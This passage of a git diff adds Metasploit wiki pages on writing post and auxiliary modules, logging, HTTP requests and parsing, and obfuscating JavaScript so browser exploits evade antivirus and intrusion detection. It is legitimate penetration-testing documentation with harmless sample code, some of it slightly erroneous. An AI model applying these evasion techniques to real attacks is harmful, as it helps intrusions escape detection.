machine's webcam. +* **[msf/core/post/solaris](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/post/solaris)** - Pretty much like the linux mixin. Same methods, but for Solaris. +* **[msf/core/post/unix](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/post/unix.rb)** - ```get_users```, ```get_groups```, ```enum_user_directories``` +* **[msf/core/post/windows](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/post/windows)** - Most of the development time are spent here. From Windows account management, event log, file info, Railgun, LDAP, netapi, powershell, registry, wmic, services, etc. + +### Template + +Here we have a post module template. As you can see, there are some required fields that need to be filled. We'll explain each: + +```ruby +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + def initialize(info = {}) + super( + update_info( + info, + 'Name' => '[Platform] [Module Category] [Software] [Function]', + 'Description' => %q{ + Say something that the user might want to know. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Name' ], + 'Platform' => [ 'win', 'linux', 'osx', 'unix', 'bsd', 'solaris' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + ) + ) + end + + def run + # Main method + end +end +``` + +The **Name** field should begin with a platform, such as: Multi, Windows, Linux, OS X, etc. Followed by the module's category, such as: Gather, Manage, Recon, Capture, Wlan. Followed by the name of the software, and then finally a few words that describe the functionality of the module. A naming example: "Multi Gather RndFTP Credential Enumeration". + +The **Description** field should explain what the module does, things to watch out for, specific requirements, the more the better. The goal is to let the user understand what he's using without the need to actually read the module's source and figure things out. And trust me, most of them don't. + +The **Author** field is where you put your name. The format should be "Name ". If you want to have your Twitter handle there, leave it as a comment, for example: "Name # handle" + +The **Platform** field indicates what platforms are supported, for example: win, linux, osx, unix, bsd. + +The **SessionTypes** field should be either meterpreter, or shell. You should try to support both. + +And finally, the ```run``` method is like your main method. Start writing your code there. + +### Basic git commands + +Metasploit no longer uses svn for source code management, instead we use git, so knowing some tricks with git go a long way. We're not here to lecture you about how awesome git is, we know it has a learning curve and it's not surprising to find new users making mistakes. Every once a while, your git "rage" will kick in, and we understand. However, it's important for you to take advantage of branching. + +Every time you make a module, or make some changes to existing code, you should not do so on the default master branch. Why? Because when you do a ```msfupdate```, which is Metasploit's utility for updating your repository, it will do a git reset before merging the changes, and all your code go bye-bye. + +Another mistake people tend to do is have all the changes on `master` before submitting a pull request. This is a bad idea, because most likely you're submitting other crap you don't intend to change, and/or you're probably asking us to merge other unnecessary commit history when there only needs to be one commit. Thanks for contributing your module to the community, but no thanks to your crazy commit history. + +So as a habit, when you want to make something new, or change something, begin with a new branch that's up to date to master. First off, make sure you're on master. If you do a ```git status``` it will tell you what branch you're currently on: + +``` +$ git status +# On branch upstream-master +nothing to commit, working directory clean +``` + +Ok, now do a ```git pull``` to download the latest changes from Metasploit: + +``` +$ git pull +Already up-to-date. +``` + +At this point, you're ready to start a new branch. In this case, we'll name our new branch "my_awesome_branch": + +``` +$ git checkout -b my_awesome_module +Switched to a new branch 'my_awesome_module' +``` + +And then you can go ahead and add that module. Make sure it's in the appropriate path: + +``` +$ git add [module path] +``` + +When you decide to save the changes, commit (if there's only one module, you can do ```git commit -a``` too so you don't have to type the module path. Note ```-a``` really means EVERYTHING): + +``` +$ git commit [module path] +``` + +When you're done, push your changes, which will upload your code to your remote branch "my_awesome_branch". You must push your changes in order to submit the pull request, or share it with others on the Internet. + +``` +$ git push origin my_awesome_branch +``` + +### References + +- +- diff --git a/metasploit-framework.wiki/How-to-get-started-with-writing-an-auxiliary-module.md b/metasploit-framework.wiki/How-to-get-started-with-writing-an-auxiliary-module.md new file mode 100644 index 000000000000..755d41b8e210 --- /dev/null +++ b/metasploit-framework.wiki/How-to-get-started-with-writing-an-auxiliary-module.md @@ -0,0 +1,168 @@ +Metasploit is known for its free, open-source exploits - modules that pop shells. But in reality, penetration testers rely more on auxiliary modules, and often a successful pentest can be done without firing a single exploit. They're just more handy, and the punishment for a failed attempt is generally much lower. Professionals actually love auxiliary modules. + +Another interesting fact about auxiliary modules is that some of them aren't so different from being exploits. The main difference is how it's defined in Metasploit: **if a module executes a payload, it's an exploit.** If not, even though it takes advantage of a vulnerability, it still belongs to the auxiliary category. If an auxiliary module is capable of running an Operating System command, it could be made into an exploit by delivering a `cmd*` payload and/or using a [[command stager|How-to-use-command-stagers]]. + +So you see, if you're an auxiliary module addict, you are on the right track. + +## Plan your module + +Just like writing a software, before you start coding you should have a clear and specific goal for what your auxiliary module does. It's never a good idea to have multiple functionalities in a single module. You should break it down into multiple modules instead. + +You should also think about how your module will perform in different situations. For example, if it's meant to test against a Tomcat server, what happens if you use it against Nginx? Will it error out and leave a backtrace? If it does, you should handle that properly. Does your module require specific settings/conditions from the target machine? What happens if it doesn't? Will it error out again? + +Most importantly, make sure to test your module thoroughly. It's always ugly to find out problems in the middle of an important engagement, that just might cost you. + +## Main categories of auxiliary modules + +Generally speaking, auxiliary modules are categorized based on their behavior, but this is somewhat inconsistent so you'll just have to use your best judgement and find the most appropriate one. Here's a list of the common ones: + +| Category | Description | +| -------- | ----------- | +| **admin** | Modules that modify, operate, or manipulate something on target machine. | +| **analyze** | We initially created this folder for password-cracking modules that require analysis time. | +| **client** | We initially created this folder for an SMTP module for social-engineering purposes. | +| **dos** | Pretty self-explanatory: denial-of-service modules. | +| **fuzzers** | If your module is a fuzzer, this is where it belongs. Make sure to place it in the correct sub-directory based on the protocol. | +| **gather** | Modules that gather, collect, or enumerates data from a single target. | +| **scanner** | Modules that use the ```Msf::Auxiliary::Scanner``` mixin almost always go here. Make sure to place yours in the correct sub-directory based on the protocol. | +| **server** | Modules that are servers. | +| **sniffer** | Modules that are sniffers. | + + +There are actually a few more directories in auxiliary, but that's kind of where the gray area is. You are more than welcome to [see if yourself](https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary). + +## The Msf::Auxiliary::Scanner mixin + +The ```Msf::Auxiliary::Scanner``` mixin is heavily used in auxiliary modules, so we might as well talk about it right here. The mixin allows you to be able to test against a range of hosts, and it's multi-threaded. To use it, first off you need to include the mixin under the scope of your ```Metasploit3``` class: + +```ruby +include Msf::Auxiliary::Scanner +``` + +A couple of new things will be added to your module when you include this mixin. You will have a new datastore option named "RHOSTS", which allows the user to specify multiple hosts. There's a new "THREADS" option, which allows the number of threads to run during execution. There's also "ShowProgress" and "ShowProgressPercent" for tracking scan progress. + +Typically, the main method for an auxiliary module is "def run". But when you use the ```Msf::Auxiliary::Scanenr``` mixin, you need to be using ```def run_host(ip)```. The IP parameter is the target machine. + +## Templates + +Here's the most basic example of an auxiliary module. We'll explain a bit more about the fields that need to be filled: + +```ruby +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Module name', + 'Description' => %q{ + Say something that the user might want to know. + }, + 'Author' => [ 'Name' ], + 'License' => MSF_LICENSE + )) + end + + def run + # Main function + end + +end +``` + +The **Name** field can begin with the vendor name, but optional. Followed by the software name. And then a few words that basically describe what it's for. For example: "Dolibarr ERP/CRM Login Utility" + +The **Description** field should explain what the module does, things to watch out for, specific requirements, the more the better. The goal is to let the user understand what he's using without the need to actually read the module's source and figure things out. And trust me, most of them don't. + +The **Author** field is where you put your name. The format should be "Name ". If you want to have your Twitter handle there, leave it as a comment, for example: "Name # handle" + +Because the ```Msf::Auxiliary::Scanner``` mixin is so popular, we figured you want a template for it, too. And here you go: + +```ruby +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Module name', + 'Description' => %q{ + Say something that the user might want to know. + }, + 'Author' => [ 'Name' ], + 'License' => MSF_LICENSE + )) + end + + def run_host(ip) + # Main method + end + +end +``` + +### Basic git commands + +Metasploit no longer uses svn for source code management, instead we use git, so knowing some tricks with git go a long way. We're not here to lecture you about how awesome git is, we know it has a learning curve and it's not surprising to find new users making mistakes. Every once a while, your git "rage" will kick in, and we understand. However, it's important for you to take advantage of branching. + +Every time you make a module, or make some changes to existing code, you should not do so on the default master branch. Why? Because when you do a ```msfupdate```, which is Metasploit's utility for updating your repository, it will do a git reset before merging the changes, and all your code go bye-bye. + +Another mistake people tend to do is have all the changes on master before submitting a pull request. This is a bad idea, because most likely you're submitting other crap you don't intend to change, and/or you're probably asking us to merge other unnecessary commit history when there only needs to be one commit. Thanks for contributing your module to the community, but no thanks to your crazy commit history. + +So as a habit, when you want to make something new, or change something, begin with a new branch that's up to date to master. First off, make sure you're on master. If you do a ```git status``` it will tell you what branch you're currently on: + +``` +$ git status +# On branch upstream-master +nothing to commit, working directory clean +``` + +Ok, now do a ```git pull``` to download the latest changes from Metasploit: + +``` +$ git pull +Already up-to-date. +``` + +At this point, you're ready to start a new branch. In this case, we'll name our new branch "my_awesome_branch": + +``` +$ git checkout -b my_awesome_module +Switched to a new branch 'my_awesome_module' +``` + +And then you can go ahead and add that module. Make sure it's in the appropriate path: + +``` +$ git add [module path] +``` + +When you decide to save the changes, commit (if there's only one module, you can do ```git commit -a``` too so you don't have to type the module path. Note ```-a``` really means EVERYTHING): + +``` +$ git commit [module path] +``` + +When you're done, push your changes, which will upload your code to your remote branch "my_awesome_branch". You must push your changes in order to submit the pull request, or share it with others on the Internet. + +``` +$ git push origin my_awesome_branch +``` + +## References + +- +- +- diff --git a/metasploit-framework.wiki/How-to-log-in-Metasploit.md b/metasploit-framework.wiki/How-to-log-in-Metasploit.md new file mode 100644 index 000000000000..b2e9dcca293b --- /dev/null +++ b/metasploit-framework.wiki/How-to-log-in-Metasploit.md @@ -0,0 +1,66 @@ +Usually, if something in Metasploit triggers an error, there is a backtrace or at least a brief message that explains what the problem is about. Most of the time, there is nothing wrong with that. But sometimes if you wish to report that problem, you might lose that information, which makes your bug report less informative, and the problem may take much longer to solve. This is why logging to file in many cases is extremely useful. In this documentation, we'll explain about how to take advantage of this properly. + +## Basic Usage + +As an user, you should know that all the logged errors are saved in a file named **framework.log**. The save path is defined in Msf::Config.log_directory, which means in msfconsole, you can switch to irb and figure out where it is: + +``` +msf > irb +[*] Starting IRB shell... + +>> Msf::Config.log_directory +=> "/Users/test/.msf4/logs" +``` + +By default, all the log errors are on level 0 - the least informative level. But of course, you can change this by setting the datastore option, like this: + + +``` +msf > setg LogLevel 3 +LogLevel => 3 +msf > +``` + +## Log Levels + +There are 4 different logging levels defined in [log/rex/logging.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/logging.rb): + +Log Level | Description +--------- | ----------- +LEV_0 (Default) | The default log level if none is specified. It should be used when a log message should always be displayed when logging is enabled. Very few log messages should occur at this level aside from necessary information logging and error/warning logging. Debug logging at level zero is not advised. +LEV_1 (Extra) | This log level should be used when extra information may be needed to understand the cause of an error or warning message or to get debugging information that might give clues as to why something is happening. This log level should be used only when information may be useful to understanding the behavior of something at a basic level. This log level should not be used in an exhaustively verbose fashion. +LEV_2 (Verbose) | This log level should be used when verbose information may be needed to analyze the behavior of the framework. This should be the default log level for all detailed information not falling into LEV_0 or LEV_1. It is recommended that this log level be used by default if you are unsure. +LEV_3 (Insanity) | This log level should contain very verbose information about the behavior of the framework, such as detailed information about variable states at certain phases including, but not limited to, loop iterations, function calls, and so on. This log level will rarely be displayed, but when it is the information provided should make it easy to analyze any problem. + +For debugging purposes, it's always better to turn on the highest level of logging. + +## Logging API + +There are mainly five logging methods you will most likely be using a lot, and they all have the exact same arguments. Let's use one of the logging methods to explain what these arguments are about: + +``` +def elog(msg, src = 'core', level = 0, from = caller) +``` + +* msg - The message you want to log +* src - The source of the error (default is core, as in Metasploit core) +* level - The log level +* from - The current execution stack. caller is a method from [Kernel](http://www.ruby-doc.org/core-2.1.3/Kernel.html#method-i-caller). + +Notice that only the ```msg``` argument is required, the rest are optional. + +Now, let's go over these five methods and explain how they're meant to be used: + +Method | Purpose +------ | ------- +dlog() | LOG_DEBUG +elog() | LOG_ERROR +wlog() | LOG_WARN +ilog() | LOG_INFO +rlog() | LOG_RAW + +## Code Example + +```ruby +elog("The sky has fallen") +``` diff --git a/metasploit-framework.wiki/How-to-obfuscate-JavaScript-in-Metasploit.md b/metasploit-framework.wiki/How-to-obfuscate-JavaScript-in-Metasploit.md new file mode 100644 index 000000000000..c08d11fa603c --- /dev/null +++ b/metasploit-framework.wiki/How-to-obfuscate-JavaScript-in-Metasploit.md @@ -0,0 +1,201 @@ +Stealth is an important feature to think about during exploit development. If your exploit gets caught all the time, it doesn't matter how awesome or how technically challenging your exploit is, it is most likely not very usable in a real penetration test. Browser exploits in particular, heavily rely on JavaScript to trigger vulnerabilities, therefore a lot of antivirus or signature-based intrusion detection/prevention systems will scan the JavaScript and flag specific lines as malicious. The following code used to be considered as MS12-063 by multiple [antivirus vendors](https://www.virustotal.com/en/file/90fdf2beab48cf3c269f70d8c9cf7736f3442430ea023d06b65ff073f724870e/analysis/1388888489/) even though it is not necessarily harmful or malicious, we'll use this as an example throughout the wiki: + +```javascript +var arrr = new Array(); +arrr[0] = windows.document.createElement("img"); +arrr[0]["src"] = "a"; +``` + +To avoid getting flagged, there are some common evasive tricks we can try. For example, you can manually modify the code a little bit to make it not recognizable by any signatures. Or if the antivirus relies on cached webpages to scan for exploits, it is possible to make the browser not cache your exploit so you stay undetected. Or in this case, you can obfuscate your code, which is what this writeup will focus on. + +In Metasploit, there are three common ways to obfuscate your JavaScript. The first one is simply by using the ```rand_text_alpha``` method (in [Rex](https://github.com/rapid7/rex-text/blob/3bb11cb5c9997096a82a4e160fcb31c152385a9a/lib/rex/text/rand.rb#L127-L132)) to randomize your variables. The second one is by using the [ObfuscateJS](https://github.com/rapid7/rex-exploitation/blob/f3058a0737ba89fd116f99a8381a409bba6a53fa/lib/rex/exploitation/obfuscatejs.rb) class. And the third option is the [JSObfu](https://github.com/rapid7/rex-exploitation/blob/f3058a0737ba89fd116f99a8381a409bba6a53fa/lib/rex/exploitation/jsobfu.rb) class. + +## The rand_text_alpha trick + +Using ```rand_text_alpha``` is the most basic form of evasion, but also the least effective. If this is your choice, you should randomize whatever can be randomized without breaking the code. + +By using the above MS12-063, here's how you would use ```rand_text_alpha```: + +```ruby +# Randomizes the array variable +# Max size = 6, Min = 3 +var_array = rand_text_alpha(rand(6) + 3) + +# Randomizes the src value +val_src = rand_text_alpha(1) + +js = %Q| +var #{var_array} = new Array(); +#{var_array}[0] = windows.document.createElement("img"); +#{var_array}[0]["src"] = "#{val_src}"; +| +``` + +## The ObfuscateJS class + +The ObfuscateJS class is like the ```rand_text_alpha``` technique on steroids, but even better. It allows you to replace symbol names such as variables, methods, classes, and namespaces. It can also obfuscate strings by either randomly using ```fromCharCode``` or ```unescape```. And lastly, it can strip JavaScript comments, which is handy because exploits often are hard to understand and read so you need comments to remember why something is written in a specific way, but you don't want to show or leak those comments in a pentest. + +To use ObfuscateJS, let's use the MS12-063 example again to demonstrate. If you feel like following the steps yourself without writing a module, what you can do is go ahead and run ```msfconsole```, and then switch to irb, like this: + + +``` +$ ./msfconsole -q +msf > irb +[*] Starting IRB shell... + +>> +``` + +And then you are ready to go. + +The first thing you do with ObfuscateJS is you need to initialize it with the JavaScript you want to obfuscate, so in this case, begin like the following: + +``` +js = %Q| +var arrr = new Array(); +arrr[0] = windows.document.createElement("img"); +arrr[0]["src"] = "a"; +| + +obfu = ::Rex::Exploitation::ObfuscateJS.new(js) +``` + +```obfu``` should return a [Rex::Exploitation::ObfuscateJS](https://github.com/rapid7/rex-exploitation/blob/f3058a0737ba89fd116f99a8381a409bba6a53fa/lib/rex/exploitation/obfuscatejs.rb) object. It allows you to do a lot of things, you can really just call ```methods```, or look at the source to see what methods are available (with additional API documentation). But for demo purposes, we'll showcase the most common one: the ```obfuscate``` method. + +To actually obfuscate, you need to call the ```obfuscate``` method. This method accepts a symbols argument that allows you to manually specify what symbol names (variables, methods, classes, etc) to obfuscate, it should be in a hash like this: + +```ruby +{ + 'Variables' => [ 'var1', ... ], + 'Methods' => [ 'method1', ... ], + 'Namespaces' => [ 'n', ... ], + 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] +} +``` + +So if I want to obfuscate the variable ```arrr```, and I want to obfuscate the src string, here's how: + +``` +>> obfu.obfuscate('Symbols' => {'Variables'=>['arrr']}, 'Strings' => true) +=> "\nvar QqLFS = new Array();\nQqLFS[0] = windows.document.createElement(unescape(String.fromCharCode( 37, 54, 071, 045, 0x36, 0144, 37, 066, 067 )));\nQqLFS[0][String.fromCharCode( 115, 0x72, 0143 )] = unescape(String.fromCharCode( 045, 0x36, 0x31 ));\n" +``` + +In some cases, you might actually want to know the obfuscated version of a symbol name. One scenario is calling a JavaScript function from an element's event handler, such as this: + +``` + + + + + + + +``` + +The obfuscated version would look like the following: + +```ruby +js = %Q| +function test() { + alert("hello, world!"); +} +| + +obfu = ::Rex::Exploitation::ObfuscateJS.new(js) +obfu.obfuscate('Symbols' => {'Methods'=>['test']}, 'Strings' => true) + +html = %Q| + + + + + + + +| + +puts html +``` + +## The JSObfu class + +The JSObfu class used to be ObfuscateJS' cousin, but it has been completely rewritten since September 2014, and packaged as a [gem](https://rubygems.org/gems/jsobfu). The obfuscation is more complex and you can actually tell it to obfuscate multiple times. You also no longer have to manually specify what symbol names to change, it just knows. + +**Trying JSObfu in Rex** + +Let's get back to irb again to demonstrate how easy it is to use JSObfu: + +``` +$ ./msfconsole -q +msf > irb +[*] Starting IRB shell... + +>> +``` + +This time we'll do a "hello world" example: + +``` +>> js = ::Rex::Exploitation::JSObfu.new %Q|alert('hello, world!');| +=> alert('hello, world!'); +>> js.obfuscate +=> nil +``` + +And here's the output: + +``` +window[(function () { var _d="t",y="ler",N="a"; return N+y+_d })()]((function () { var f='d!',B='orl',Q2='h',m='ello, w'; return Q2+m+B+f })()); +``` + +Like ObfuscateJS, if you need to get the randomized version of a symbol name, you can still do that. We'll demonstrate this with the following example: + +```ruby +>> js = ::Rex::Exploitation::JSObfu.new %Q|function test() { alert("hello"); }| +=> function test() { + alert("hello"); +} +>> js.obfuscate +``` + +Say we want to know the randomized version of the method name "test": + +```ruby +>> puts js.sym("test") +_ +``` + +OK, double check right quick: + +``` +>> puts js +function _(){window[(function () { var N="t",r="r",i="ale"; return i+r+N })()](String.fromCharCode(0150,0x65,0154,0x6c,0x6f));} +``` + +Yup, that looks good to me. + +And finally, let's try to obfuscate a few times to see how that goes: + +``` +>> js = ::Rex::Exploitation::JSObfu.new %Q|alert('hello, world!');| +=> alert('hello, world!'); +>> js.obfuscate(:iterations=>3) +=> window[String[((function(){var s=(function () { var r="e"; return r })(),Q=(function () { var I="d",dG="o"; return dG+I })(),c=String.fromCharCode(0x66,114),w=(function () { var i="C",v="r",f="omCh",j="a"; return f+j+v+i })();return c+w+Q+s;})())](('Urx'.length*((0x1*(01*(1*020+5)+1)+3)*'u'.length+('SGgdrAJ'.length-7))+(('Iac'.length*'XLR'.length+2)*'qm'.length+0)),(('l'.length*((function () { var vZ='k'; return vZ })()[((function () { var E="h",t="t",O="leng"; return O+t+E })())]*(0x12*1+0)+'xE'.length)+'h'.length)*(function () { var Z='uA',J='tR',D='x'; return D+J+Z })()[((function () { var m="th",o="g",U="l",Y="en"; return U+Y+o+m })())]+'lLc'.length),('mQ'.length*(02*023+2)+('Tt'.length*'OEzGiMVf'.length+5)),(String.fromCharCode(0x48,0131)[((function () { var i="gth",r="len"; return r+i })())]*('E'.length*0x21+19)+(0x1*'XlhgGJ'.length+4)),(String.fromCharCode(0x69)[((function () { var L="th",Q="n",$="l",I="g",x="e"; return $+x+Q+I+L })())]*('QC'.length*0x2b+3)+(01*26+1)))]((function(){var C=String[((function () { var w="rCode",j="mCha",A="fr",B="o"; return A+B+j+w })())]((6*0x10+15),('riHey'.length*('NHnex'.length*0x4+2)+4),(01*95+13),(1*('Z'.length*(0x1*(01*(0x3*6+5)+1)+18)+12)+46),(0x1*(01*013+6)+16)),JQ=String[((function () { var NO="ode",T="rC",HT="fromCha"; return HT+T+NO })())](('J'.length*0x54+17),(0x2*051+26),('TFJAGR'.length*('ymYaSJtR'.length*'gv'.length+0)+12),(01*0155+2),(0xe*'FBc'.length+2),(0x1*22+10),(3*(01*043+1)+11)),g=(function(){var N=(function () { var s='h'; return s })();return N;})();return g+JQ+C;})()); +``` + +**Using JSObfu for module development** + +When you are writing a module, you should not call Rex directly like the above examples. Instead, you should be using the ```#js_obfuscate``` method found in [JSObfu mixin](https://github.com/rapid7/rex-exploitation/blob/f3058a0737ba89fd116f99a8381a409bba6a53fa/lib/rex/exploitation/jsobfu.rb). When you're using JavaScript in your module, always do write it like this: + +```ruby +# This returns a Rex::Exploitation::JSObfu object +js = js_obfuscate(your_code) +``` + +Note that by default, even though your module is calling the #js_obfuscate method, obfuscation will not kick in unless the user sets the JsObfuscate datastore option. This option is an OptInt, which allows you to set the number of times to obfuscate (default is 0). diff --git a/metasploit-framework.wiki/How-to-parse-an-HTTP-response.md b/metasploit-framework.wiki/How-to-parse-an-HTTP-response.md new file mode 100644 index 000000000000..4df4202fc27a --- /dev/null +++ b/metasploit-framework.wiki/How-to-parse-an-HTTP-response.md @@ -0,0 +1,199 @@ +This document talks about how to parse an HTTP response body in the cleanest way possible. + +## Getting a response + +To get a response, you can either use [[Rex::Proto::Http::Client|How to send an HTTP request using Rex Proto Http Client]], or the [[HttpClient|How to Send an HTTP Request Using HttpClient]] mixin to make an HTTP request. If you are writing a module, you should use the mixin. + +The following is an example of using the #send_request_cgi method from HttpClient: + +```ruby +res = send_request_cgi({'uri'=>'/index.php'}) +``` + +The return value for ```res``` is a Rex::Proto::Http::Response object, but it's also possible you get a NilClass due to a connection/response timeout. + +## Getting the response body + +With a Rex::Proto::Http::Response object, here's how you can retrieve the HTTP body: + +```ruby +data = res.body +``` + +If you want to get the raw HTTP response (including the response message/code, headers, body, etc), then you can simply do: + +```ruby +raw_res = res.to_s +``` + +However, in this documentation we are only focusing on ```res.body```. + +## Choosing the right parser + +Format | Parser +------ | ------ +HTML | Nokogiri +XML | Nokogiri +JSON | JSON + +If the format you need to parse isn't on the list, then fall back to ```res.body```. + +## Parsing HTML with Nokogiri + +When you have a Rex::Proto::Http::Response with HTML in it, the method to call is: + +```ruby +html = res.get_html_document +``` + +This will give you a Nokogiri::HTML::Document, which allows you use the Nokogiri API. + +There are two common methods in Nokogiri to find elements: #at and #search. The main difference is that the #at method will only return the first result, while the #search will return all found results (in an array). + +Consider the following example as your HTML response: + +```html + + + Hello, World! + + +
+
Hello
+
Hola
+
Bonjour
+
+ + +``` + +**Basic usage of #at** + +If the #at method is used to find a DIV element: + +```ruby +html = res.get_html_document +greeting = html.at('div') +``` + +Then the ```greeting``` variable should be a Nokogiri::XML::Element object that gives us this block of HTML (again, because the #at method only returns the first result): + +```html +
+
Hello
+
Hola
+
Bonjour
+
+``` + +**Grabbing an element from a specific element tree** + +```ruby +html = res.get_html_document +greeting = html.at('div//div') +``` + +Then the ```greeting``` variable should give us this block of HTML: + +```html +
Hello
+``` + +**Grabbing an element with a specific attribute** + +Let's say I don't want the English Hello, I want the Spanish one. Then we can do: + +```ruby +html = res.get_html_document +greeting = html.at('div[@id="spanish"]') +``` + +**Grabbing an element with a specific text** + +Let's say I only know there's a DIV element that says "Bonjour", and I want to grab it, then I can do: + +```ruby +html = res.get_html_document +greeting = html.at('//div[contains(text(), "Bonjour")]') +``` + +Or let's say I don't know what element the word "Bonjour" is in, then I can be a little vague about this: + +```ruby +html = res.get_html_document +greeting = html.at('[text()*="Bonjour"]') +``` + +**Basic usage of #search** + +The #search method returns an array of elements. Let's say we want to find all the DIV elements, then here's how: + +```ruby +html = res.get_html_document +divs = html.search('div') +``` + +**Accessing text** + +When you have an element, you can always call the #text method to grab the text. For example: + +```ruby +html = res.get_html_document +greeting = html.at('[text()*="Bonjour"]') +print_status(greeting.text) +``` + +The #text method can also be used as a trick to strip all the HTML tags: + +```ruby +html = res.get_html_document +print_line(html.text) +``` + +The above will print: + +``` +"\n\nHello, World!\n\n\n\nHello\nHola\nBonjour\n\n\n" +``` + +If you actually want to keep the HTML tags, then instead of calling #text, call #inner_html. + +**Accessing attributes** + +With an element, simply call #attributes. + +**Walking a DOM tree** + +Use the #next method to move on to the next element. + +Use the #previous method to roll back to the previous element. + +Use the #parent method to find the parent element. + +Use the #children method to get all the child elements. + +Use the #traverse method for complex parsing. + +## Parsing XML + +To get the XML body from Rex::Proto::Http::Response, do: + +```ruby +xml = res.get_xml_document +``` + +The rest should be pretty similar to parsing HTML. + +## Parsing JSON + +To get the JSON body from Rex::Proto::Http::Response, do: + +```ruby +json = res.get_json_document +``` + +## References + +* +* [[How to send an HTTP request using Rex Proto Http Client]] +* [[How to Send an HTTP Request Using HttpClient]] diff --git a/metasploit-framework.wiki/How-to-send-an-HTTP-request-using-Rex-Proto-Http-Client.md b/metasploit-framework.wiki/How-to-send-an-HTTP-request-using-Rex-Proto-Http-Client.md new file mode 100644 index 000000000000..c035a74b0239 --- /dev/null +++ b/metasploit-framework.wiki/How-to-send-an-HTTP-request-using-Rex-Proto-Http-Client.md @@ -0,0 +1,225 @@ +**Note: This documentation may need to be vetted.** + +# How to send an HTTP request using Rex::Proto::Http::Client +The Rex library (Ruby Extension Library) is the most fundamental piece of the Metasploit Framework architecture. Modules normally do not interact with Rex directly, instead they depend on the framework core and its mixins for better code sharing. If you are a Metasploit module developer, the [lib/msf/core](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core) directory should be more than enough for most of your needs. If you are writing a module that speaks HTTP, then the [Msf::Exploit::Remote::HttpClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient) mixin (which is found in [lib/msf/core/exploit/http/client](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/http/client.rb)) is most likely the one you want. + +However, in some scenarios, you actually can't use the HttpClient mixin. The most common is actually when writing a form-based login module using the [LoginScanner API](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners). If you find yourself in that situation, use [Rex::Proto::Http::Client](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/http/client.rb). + +## Initializing Rex::Proto::Http::Client + +The Rex::Proto::Http::Client initializer creates a new HTTP client instance, and the most important piece is this: + +```ruby +def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '') +``` + +As you can use, only the host argument is required, the rest are optional. But let's go over all of them right quick: + +| Argument name | Data type | Description | +| ------------- | --------- | ----------- | +| host | String | Target host IP | +| port | Fixnum | Target host port | +| context | Hash | Determines what is responsible for requesting that a socket can be created | +| ssl | Boolean | True to enable it | +| ssl_version | String | SSL2, SSL3, or TLS1 | +| proxies | String | Configure a proxy | +| username | String | Username for automatic authentication | +| password | String | Password for automatic authentication | + +Code example of initialing Rex::Proto::Http::Client: + +```ruby +cli = Rex::Proto::Http::Client.new(rhost, rport, {}, true, 8181, proxies, 'username', 'password') +``` + +## Making an HTTP request + +Even though our main topic of this documentation is about Rex::Proto::Http::Client, it does not know how to make HTTP requests. Instead, [Rex::Proto::Http::ClientRequest](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/http/client_request.rb) is actually the mother of all Metasploit's HTTP requests. + +So how does Rex::Proto::Http::ClientRequest give birth to an HTTP request? Well, you see son, it all begins when Rex::Proto::Http::Client asks for one with either the #request_cgi or the #request_raw method. The difference is that if #request_cgi is used, the request is meant to be CGI compatible, and in most cases this is what you want. If #request_raw is used, technically it means less options, less CGI compatible. + +A raw HTTP request supports the following options: + +| Option/key name | Data type | Description | +| --------------- | --------- | ----------- | +| query | String | Raw GET query string | +| data | String | Raw POST data string | +| uri | String | Raw URI string | +| ssl | Boolean | True to use https://, otherwise http:// | +| agent | String | User-Agent. Default is: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)| +| method | String | HTTP method | +| proto | String | Protocol | +| version | String | Version | +| vhost | String | Host header | +| port | Fixnum | Port for the host header | +| authorization | String | The authorization header | +| cookie | String | The cookie header | +| connection | String | The connection header | +| headers | Hash | A hash of custom headers. Safer than raw_headers | +| raw_headers | String | A string of raw headers | +| ctype | String | Content type | + +An example of using #request_raw's options: + +```ruby +# cli is a Rex::Proto::Http::Client object +req = cli.request_raw({ + 'uri' =>'/test.php', + 'method' => 'POST', + 'data' => 'A=B' +}) +``` + +**#request_cgi inherits all the above**, and more: + +| Option/key name | Data type | Description | +| --------------- | --------- | ----------- | +| pad_get_params | Boolean | Enable padding for GET parameters | +| pad_get_params_count | Fixnum | Number of random GET parameters. You also need pad_get_params for this | +| vars_get | Hash | A hash of GET parameters | +| encode_params | Boolean | Enable URI encoding for GET or POST parameters | +| pad_post_params | Boolean | Enable padding for POST parameters | +| pad_post_params_count | Fixnum | Number of random POST parameters. You also need pad_post_params for this | + +An example of using one of #request_cgi options: + +```ruby +# cli is a Rex::Proto::Http::Client object +req = cli.request_cgi({ + 'uri' =>'/test.php', + 'vars_get' => { + 'param1' => 'value', + 'param2' => 'value' + } +}) +``` + + +## Sending an HTTP request + +Here are examples of how to actually speak to an HTTP server with either #request_cgi or #request_raw: + +** request_cgi + +```ruby +cli = Rex::Proto::Http::Client.new(rhost), +cli.connect +req = cli.request_cgi({'uri'=>'/'}) +res = cli.send_recv(req) +cli.close +``` + +** request_raw + +```ruby +cli = Rex::Proto::Http::Client.new(rhost), +cli.connect +req = cli.request_raw({'uri'=>'/'}) +res = cli.send_recv(req) +cli.close +``` + +## Configuring advanced options + +### Evasion 